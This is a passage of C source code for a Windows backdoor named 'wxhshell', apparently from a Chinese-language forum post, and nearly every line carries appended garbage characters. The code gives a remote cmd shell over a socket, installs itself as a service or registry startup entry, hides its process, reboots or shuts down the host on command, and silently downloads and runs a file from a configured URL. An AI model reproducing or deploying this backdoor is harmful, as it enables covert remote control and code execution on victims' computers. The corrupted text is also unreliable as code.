  if(DownloadFile(cmd,wsh)) *\ R ]NV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X% t1 T4  
  else T&6l$1J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |fK1/<sz#  
  } >qnko9V  
  else { rNXQf'*I  
zdB^S%cztS  
    switch(cmd[0]) { ~vm%6CABM  
  Z^3rLCa  
  // 帮助 Fs9!S a7v  
  case '?': { ?9 <:QE;I>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aTH{'mN  
    break; +$ 'Zf0U  
  } &u$Q4  
  // 安装 'DP1,7  
  case 'i': { P3x8UR=fS  
    if(Install()) gb[5&> (#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NcBIg:V\c  
    else f%][}NN)Xr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3l rT3a3vV  
    break; 11 Q1AN  
    } Ag-(5:  
  // 卸载 8\&X2[oAD  
  case 'r': { "g5^_UP  
    if(Uninstall()) <? q?Mn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *#,7d"6W5  
    else n(1l}TJy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @LF,O}[2J  
    break; D+lAhEN  
    } .s?L^Z^  
  // 显示 wxhshell 所在路径 PxvyN_B#>  
  case 'p': { P) Jgs  
    char svExeFile[MAX_PATH]; L +b6!2O,  
    strcpy(svExeFile,"\n\r"); u-QB.iQ+s  
      strcat(svExeFile,ExeFile); ha]VWt%}  
        send(wsh,svExeFile,strlen(svExeFile),0); f\|w '  
    break; n@<YI  
    } V'z1  
  // 重启 1+_`^|eK  
  case 'b': { )1?y 8_B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f z'@_4hg  
    if(Boot(REBOOT)) LBw1g<&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^pp\bVh2Q]  
    else { h0g8*HY+}  
    closesocket(wsh); KI"#f$2&  
    ExitThread(0); l!D}3jD  
    } ~[t[y~Hup  
    break; hNC&T`.-~B  
    } g|o,uD  
  // 关机 qU \w=  
  case 'd': { ` 'DmDg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qqjwJ!@P  
    if(Boot(SHUTDOWN)) `+]Qz =}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (p"%O  
    else { ROH|PKb7  
    closesocket(wsh); =Qy<GeY  
    ExitThread(0); \j$&DCv   
    } q`Go`v  
    break; C7]f*TSC4  
    } T^zXt?  
  // 获取shell X]ipI$'+C  
  case 's': { x+\`gK5  
    CmdShell(wsh); 2=*H 8'k  
    closesocket(wsh); OAgniLv  
    ExitThread(0); 9SX +  
    break; AP3a;4Z#  
  } ahusta  
  // 退出 y6g&Y.:o  
  case 'x': { cn3#R.G~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M[NV )q/)  
    CloseIt(wsh); j * %  
    break; 'NWfBJm  
    } &h}#HS>l  
  // 离开 \;,_S+Fz8  
  case 'q': { _P!m%34|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bL0yuAwF2  
    closesocket(wsh); xVw9v6@`h  
    WSACleanup(); 2R[:]-b  
    exit(1); =O~_Q-  
    break; em y[k  
        } Sh/08+@+L:  
  } dB{Q" !  
  }  0HZ{Y9]  
[F+}V,  
  // 提示信息 Pd8![Z3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); % aP!hy  
} 0- B5`=yU  
  } 9=s<Ld  
ko!)s  
  return; R!HXhQ  
} W~)}xy  
21n?=[  
// shell模块句柄 v_yw@  
int CmdShell(SOCKET sock) t$`r4Lb9/  
{ &j;wCvE4+  
STARTUPINFO si; ez7A4>/  
ZeroMemory(&si,sizeof(si)); R8K&R\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %:i7s-0w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;xy"\S]  
PROCESS_INFORMATION ProcessInfo; [|v][Hwv  
char cmdline[]="cmd"; kBS9tKBWg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q9B$" n  
  return 0; QL(n} {.%  
} Lw1Yvtn  
!n`fTK<$  
// 自身启动模式 &< z1k-&!  
int StartFromService(void) 8C40%q..  
{ hWjc<9  
typedef struct  -uS!\  
{ &bS ,hbDt  
  DWORD ExitStatus; YqscZ(L:y  
  DWORD PebBaseAddress; 7P } W *  
  DWORD AffinityMask; 9i:L&dN  
  DWORD BasePriority; 5=-Q4d  
  ULONG UniqueProcessId; yNPVOp*  
  ULONG InheritedFromUniqueProcessId; _O?`@g?i  
}   PROCESS_BASIC_INFORMATION; e1yt9@k,  
`>o{P/HN  
PROCNTQSIP NtQueryInformationProcess; ,KH#NY]  
=F|{# F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /'SNw?&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U4'#T%*  
6bg ;q(*7  
  HANDLE             hProcess; {qk1_yP  
  PROCESS_BASIC_INFORMATION pbi; 7g^]:3f!   
XPc^Tq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Lj({[H7D!  
  if(NULL == hInst ) return 0; PI {bmZ  
RU|Q ]Ymx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4Z3su^XR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6jaEv#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /|}EL%a  
cVv=*81\  
  if (!NtQueryInformationProcess) return 0; `bq<$e  
}RF(CwZr(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); phXGn m  
  if(!hProcess) return 0; rI{; IDV  
Z-%\ <zT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ic:zsuEm  
b`Zx!^  
  CloseHandle(hProcess); M/f<A$xx_  
#~]zhHI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'ms-*c&  
if(hProcess==NULL) return 0; }rUN_.n4z  
q1x`Bj   
HMODULE hMod; `7E;VL^Y1  
char procName[255]; T=DbBy0-  
unsigned long cbNeeded; ^dWa;m]l  
jVe1b1rt~3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bL`TySX  
LE Nq_@$  
  CloseHandle(hProcess); bIDj[-CDG  
j^sg6.Z*  
if(strstr(procName,"services")) return 1; // 以服务启动 (XTG8W sN  
k=$TGqQY?  
  return 0; // 注册表启动 ;nfdGB  
} bW427B0  
z _$%-6  
// 主模块 BKCiIfkZ  
int StartWxhshell(LPSTR lpCmdLine) 5Pc;5 o0C  
{ au(D66VO  
  SOCKET wsl; Qp5VP@t  
BOOL val=TRUE; ;+R&}[9,A)  
  int port=0; :LQYo'@yB  
  struct sockaddr_in door;  tU5zF.%  
UW={[h{.|@  
  if(wscfg.ws_autoins) Install(); @D[_}JE  
Y1\}5k{>  
port=atoi(lpCmdLine); `,(4]tlL  
B:Oa}/H   
if(port<=0) port=wscfg.ws_port; #P9~}JB3,  
)u&|_&g{}J  
  WSADATA data; d'gfQlDny  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F~vuM$+d  
R_cA:3qc~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x;KOqfawv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AR%4D3Dma  
  door.sin_family = AF_INET; Tk[ $5u*,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p$c6<'UqH  
  door.sin_port = htons(port); e)k9dOR  
bHnT6Icom  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nc29j_Id  
closesocket(wsl); e2Pcm_Ahv*  
return 1; D/gw .XYL  
} qBQ?HLK-  
G$"h&Xy1c  
  if(listen(wsl,2) == INVALID_SOCKET) { ?4}h&/  
closesocket(wsl); xIW3={b3  
return 1; i^&~?2  
} Vm(y7}Aq{  
  Wxhshell(wsl); Ml{,  
  WSACleanup(); p`dU2gV  
2a)xTA#  
return 0; FX&~\kmV'j  
&BLJT9Frx  
} gs[uD5oo<  
2jItq2.>  
// 以NT服务方式启动 7F7 {)L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J4C.+![!Ah  
{  -);Wfs  
DWORD   status = 0; \:'/'^=#|  
  DWORD   specificError = 0xfffffff; Rok7n1gW  
r +i($ jMs  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O6 3<AY@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2wg5#i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )EuvRLo{S7  
  serviceStatus.dwWin32ExitCode     = 0; uAq~=)F>,  
  serviceStatus.dwServiceSpecificExitCode = 0; ua$GNm  
  serviceStatus.dwCheckPoint       = 0; x+:UN'"r  
  serviceStatus.dwWaitHint       = 0; mDABH@ R  
{4}yKjW%z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n,(sBOQ  
  if (hServiceStatusHandle==0) return; >8^ $ [}w  
X7 MM2V  
status = GetLastError(); bo>*fNqAIy  
  if (status!=NO_ERROR) 4B1v4g8}  
{ 65P0,b6"OT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n nEgx;Nl0  
    serviceStatus.dwCheckPoint       = 0; y2dCEmhY  
    serviceStatus.dwWaitHint       = 0; D/xbF`  
    serviceStatus.dwWin32ExitCode     = status; 2WL|wwA  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZF8 yw(z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7IH@oMvE  
    return; (N6i4 g6  
  } V7Lxfoa4  
}'V5/>m[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [PM 2\#K  
  serviceStatus.dwCheckPoint       = 0; (Z q/  
  serviceStatus.dwWaitHint       = 0; jD]~ AwRJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6I4\q.^qw  
} IqHV)A  
x"=f+Mr  
// 处理NT服务事件,比如:启动、停止 wk D^r(hiH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r'r%w#=`t  
{ :{v#'U/^  
switch(fdwControl) 4r#= *  
{ hbDXo:  
case SERVICE_CONTROL_STOP: 8I?Wt W  
  serviceStatus.dwWin32ExitCode = 0; [A~xy'T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]NY~2jmX  
  serviceStatus.dwCheckPoint   = 0; .t-4o<7 3  
  serviceStatus.dwWaitHint     = 0; VBGuC c/  
  { 6Q@j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ItVWO:x&v  
  } %6,SKg p  
  return; PI)+Jr%L  
case SERVICE_CONTROL_PAUSE: (O?.)jEW(.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d#Y^>"|$.  
  break; P>C~ i:4n  
case SERVICE_CONTROL_CONTINUE: 29"'K.r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W~; `WR;.  
  break; Lc,Pom  
case SERVICE_CONTROL_INTERROGATE: ~9]hV7y5C  
  break; Qh3YJ=X&  
}; py!|\00}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )h4 f\0  
} 0B/,/KX  
Su7?;Oh/yI  
// 标准应用程序主函数 $\BE&4g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S(I{NL}= $  
{ ]EBxl=C}D  
 .-c4wm}  
// 获取操作系统版本 =E4LRKn  
OsIsNt=GetOsVer(); u#$]?($}d  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y|f[bw  
SiRaFj4s"  
  // 从命令行安装 !8d{q)JZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); ["93~[[^  
kk@fL  
  // 下载执行文件 xb~yM%*c  
if(wscfg.ws_downexe) { ,t?B+$E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |(E FY\  
  WinExec(wscfg.ws_filenam,SW_HIDE); rC%*$g $  
} 4N_R:B-V u  
[)M%cyQ  
if(!OsIsNt) { +H-6eP  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;kQhx6Z  
HideProc(); f!uwzHA`?  
StartWxhshell(lpCmdLine); @[<><uTH  
} _Xc8Yg }`  
else +>{2*\cZ5}  
  if(StartFromService()) !qh]6%l  
  // 以服务方式启动 '(f*2eE:  
  StartServiceCtrlDispatcher(DispatchTable); kR-SE5`Jk  
else O7m(o:t x3  
  // 普通方式启动 mb TEp*H  
  StartWxhshell(lpCmdLine); Lv;^My  
%KhI>O<  
return 0; Ys!82M$g  
}
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只看该作者 1 发表于: 2006-10-10
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